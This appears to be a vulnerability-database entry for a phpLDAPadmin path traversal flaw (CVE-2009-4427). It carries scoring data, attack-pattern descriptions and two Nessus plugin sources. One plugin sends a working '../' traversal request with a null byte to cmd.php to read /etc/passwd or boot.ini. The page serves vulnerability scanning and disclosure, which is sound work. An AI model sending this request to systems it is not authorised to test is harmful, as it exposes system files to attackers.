Vulnerabilities > CVE-2009-4427 - Path Traversal vulnerability in PHPldapadmin Project PHPldapadmin 1.1.0.5

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
phpldapadmin-project
CWE-22
nessus
exploit available

Summary

Directory traversal vulnerability in cmd.php in phpLDAPadmin 1.1.0.5 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the cmd parameter.

Vulnerable Configurations

Part Description Count
Application
Phpldapadmin_Project
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionphpldapadmin Local File Inclusion. CVE-2009-4427. Webapps exploit for php platform
fileexploits/php/webapps/10410.txt
idEDB-ID:10410
last seen2016-02-01
modified2009-12-10
platformphp
port
published2009-12-10
reporteripsecs
sourcehttps://www.exploit-db.com/download/10410/
titlephpldapadmin Local File Inclusion
typewebapps

Nessus

  • NASL familyCGI abuses
    NASL idPHPLDAPADMIN_CMD_LFI.NASL
    descriptionThe version of phpLDAPadmin installed on the remote host fails to sanitize user-supplied input to the
    last seen2020-06-01
    modified2020-06-02
    plugin id43402
    published2009-12-23
    reporterThis script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/43402
    titlephpLDAPadmin cmd.php cmd Parameter Local File Inclusion
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(43402);
      script_version("1.13");
      script_cvs_date("Date: 2018/07/24 18:56:11");
    
      script_cve_id("CVE-2009-4427");
      script_bugtraq_id(37327);
      script_xref(name:"EDB-ID", value:"10410");
      script_xref(name:"Secunia", value:"37848");
    
      script_name(english:"phpLDAPadmin cmd.php cmd Parameter Local File Inclusion");
      script_summary(english:"Tries to read a local file through 'cmd' parameter");
    
      script_set_attribute(
        attribute:"synopsis",
        value:
    "The remote web server contains a PHP application that is susceptible
    to a local file include attack." );
      script_set_attribute(
        attribute:"description",
        value:
    "The version of phpLDAPadmin installed on the remote host fails to
    sanitize user-supplied input to the 'cmd' parameter when passed to the
    'cmd.php' script before using it to include PHP code.
    
    Regardless of PHP's 'register_globals' and 'magic_quotes_gpc'
    settings, an unauthenticated attacker may be able to leverage this
    issue to view arbitrary files or possibly to execute arbitrary PHP
    code on the remote host, subject to the privileges of the web server
    user id." );
      script_set_attribute(attribute:"solution", value:"Upgrade to version 1.2.0 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"false");
      script_cwe_id(22);
    # 1.2.0 release date ??
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2009/12/10");
      script_set_attribute(attribute:"patch_publication_date", value:"2009/07/21"); 
      script_set_attribute(attribute:"plugin_publication_date", value:"2009/12/23");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:deon_george:phpldapadmin");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("http_version.nasl", "os_fingerprint.nasl", "phpldapadmin_detect.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80);
      script_require_keys("www/phpLDAPadmin");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:80);
    if (!can_host_php(port:port)) exit(0, "The web server on port" + port + " does not support PHP scripts.");
    
    install = get_install_from_kb(appname:'phpLDAPadmin', port:port);
    if (isnull(install)) exit(0, "phpLDAPadmin wasn't detected on port "+port+".");
    
    dir = install['dir'];
    
    
    # Try to retrieve a local file.
    os = get_kb_item("Host/OS");
    if (os)
    {
      if ("Windows" >< os) file = '/boot.ini';
      else file = '/etc/passwd';
      files = make_list(file);
    }
    else files = make_list('/etc/passwd', '/boot.ini');
    
    file_pats = make_array();
    file_pats['/etc/passwd'] = "root:.*:0:[01]:";
    file_pats['/boot.ini'] = "<td> *\[boot loader\]";
    
    # Get the cookie.
    res = http_send_recv3(method:"GET",item: dir + "/index.php",port:port,follow_redirect:TRUE);
    if (isnull(res)) exit(1, "The web server on port "+ port + " failed to respond.");
    
    cookie = get_http_cookie(name:"PLASESSID");
    if (!cookie) exit(1,"Could not get PLASESSID cookie on port "+ port + ".");
    cookie = "PLASESSID=" + cookie;
    
    foreach file (files)
    {
    
      url =   dir
           + "/cmd.php?cmd="
           + '../../../../../../../../../../../../../../../..'
           + file + '%00';
    
      res = http_send_recv3(method:"GET",item:url,port:port,
              add_headers: make_array(
                "Content-Type", "application/x-www-form-urlencoded",
                "Cookie",cookie));
      if (isnull(res)) exit(1, "The web server on port "+ port + " failed to respond.");
    
      if(egrep(pattern:file_pats[file], string:res[2]))
      {
        if (report_verbosity > 0)
        {
          if (os && "Windows" >< os) file = str_replace(find:'/', replace:'\\', string:file);
    
          report = '\n' +
            "Nessus was able to exploit the issue to retrieve the contents of" + '\n' +
            "'" + file + "' on the remote host by requesting the following URL " + '\n' +
            "with cookie PLASESSID set." + '\n' +
            '\n' +
            "  " +  build_url(port:port, qs:url) + '\n';
    
          if (report_verbosity > 1 && 'class="head"></td></tr><tr><td>' >< res[2])
          {
            output = strstr(res[2], 'class="head"></td></tr><tr><td>') - 'class="head"></td></tr><tr><td>';
            output = output - strstr(output,'</td></tr><tr><td class="foot"></td></tr></table></div></td></tr>');
            output = data_protection::redact_etc_passwd(output:output);
    
            report = report + '\n' +
              "Here's the contents of the file : " + '\n\n' +
               crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
               output + '\n' +
               crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n' ;
           }
           security_warning(port:port, extra:report);
         }
         else security_warning(port);
    
         exit(0);
      }
    }
    
    exit(0, "The phpLDAPadmin install at " +  build_url(qs:dir+'/index.php', port:port) + " is not affected.");
    
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-1965.NASL
    descriptionIt was discovered that phpLDAPadmin, a web-based interface for administering LDAP servers, doesn
    last seen2020-06-01
    modified2020-06-02
    plugin id44830
    published2010-02-24
    reporterThis script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/44830
    titleDebian DSA-1965-1 : phpldapadmin - missing input sanitising
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Debian Security Advisory DSA-1965. The text 
    # itself is copyright (C) Software in the Public Interest, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(44830);
      script_version("1.9");
      script_cvs_date("Date: 2019/08/02 13:32:22");
    
      script_cve_id("CVE-2009-4427");
      script_xref(name:"DSA", value:"1965");
    
      script_name(english:"Debian DSA-1965-1 : phpldapadmin - missing input sanitising");
      script_summary(english:"Checks dpkg output for the updated package");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Debian host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "It was discovered that phpLDAPadmin, a web-based interface for
    administering LDAP servers, doesn't sanitize an internal variable,
    which allows remote attackers to include and execute arbitrary local
    files.
    
    The oldstable distribution (etch) is not affected by this problem."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561975"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.debian.org/security/2010/dsa-1965"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "Upgrade the phpldapadmin package.
    
    For the stable distribution (lenny), this problem has been fixed in
    version 1.1.0.5-6+lenny1."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_cwe_id(22);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:phpldapadmin");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:5.0");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2010/01/06");
      script_set_attribute(attribute:"plugin_publication_date", value:"2010/02/24");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Debian Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("debian_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
    if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    if (deb_check(release:"5.0", prefix:"phpldapadmin", reference:"1.1.0.5-6+lenny1")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
      else security_hole(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");